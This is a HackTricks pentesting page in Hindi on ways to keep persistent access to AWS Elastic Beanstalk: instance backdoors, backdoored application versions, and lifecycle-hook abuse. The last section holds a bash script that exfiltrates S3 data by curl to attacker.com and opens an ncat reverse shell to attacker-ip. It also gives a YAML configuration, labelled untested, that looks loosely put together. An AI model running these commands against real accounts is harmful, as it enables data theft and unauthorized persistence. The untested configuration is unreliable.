AWS - Elastic Beanstalk Persistence

HackTricks को सपोर्ट करें

Elastic Beanstalk

अधिक जानकारी के लिए देखें:

AWS - Elastic Beanstalk Enum

Instance में Persistence

AWS अकाउंट के अंदर persistence बनाए रखने के लिए, कुछ persistence mechanism instance के अंदर पेश किया जा सकता है (cron job, ssh key...) ताकि हमलावर इसे एक्सेस कर सके और metadata service से IAM role credentials चुरा सके

Version में Backdoor

हमलावर S3 repo के अंदर कोड में backdoor डाल सकता है ताकि यह हमेशा उसका backdoor और अपेक्षित कोड निष्पादित करे।

नई backdoored version

वास्तविक version के कोड को बदलने के बजाय, हमलावर एप्लिकेशन का एक नया backdoored version तैनात कर सकता है।

Custom Resource Lifecycle Hooks का दुरुपयोग

TODO: Test

Elastic Beanstalk lifecycle hooks प्रदान करता है जो आपको instance provisioning और termination के दौरान कस्टम स्क्रिप्ट चलाने की अनुमति देता है। हमलावर एक lifecycle hook को कॉन्फ़िगर कर सकता है ताकि यह समय-समय पर एक स्क्रिप्ट निष्पादित करे जो डेटा को बाहर भेजता है या AWS अकाउंट तक पहुंच बनाए रखता है

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
HackTricks को समर्थन दें

Last updated